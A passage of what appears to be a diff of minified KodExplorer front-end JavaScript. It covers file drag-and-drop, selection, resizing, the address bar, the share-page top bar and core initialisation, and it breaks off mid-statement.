i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),E(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+i+'"',move_to:''+LNG.cute_to+'"'+i+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("title")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?z(!1):z(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
        '+e+'
        '+e+" "+LNG.file+"
        ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("
        ").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=S||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},E=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},z=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d); -p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
        ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&a-t+h-u>Math.abs(t+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=105,a=30,n=250,o=(e-a)*i/(n-a),s=20,r=10,l=parseInt(e),c=l+2*s-r+5,d=l-r,p=l-r,u=.4*l,h=l+3*s-r,m=".fileList_icon div.file{height:"+c+"px;width:"+l+"px;}";"desktop"==Config.pageApp&&(c-=5,m="div.fileList_icon div.file{height:"+c+"px;width:"+l+"px;}");var _="div.fileList_icon div.file{max-height:"+h+"px;}"+m+" .fileList_icon .meta_info{height:"+u+"px;width:"+u+"px; margin-right:"+.16*u+"px;margin-top:-"+1.1*u+"px;} .fileList_icon div.file .filename{width:"+l+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+l+"px;} .fileList_icon div.file .ico{padding-left:"+r/2+"px;height:"+p+"px;width:"+d+"px} .fileList_icon div.file .ico.picasaImage{width:"+d+"px;padding-left:"+r/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",o),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("title");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
      • {$3}
      • \n',i='
      • {$3}
      • \n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(a[d])+""),c+=o;return'
          '+c+"
        "};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid,i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var 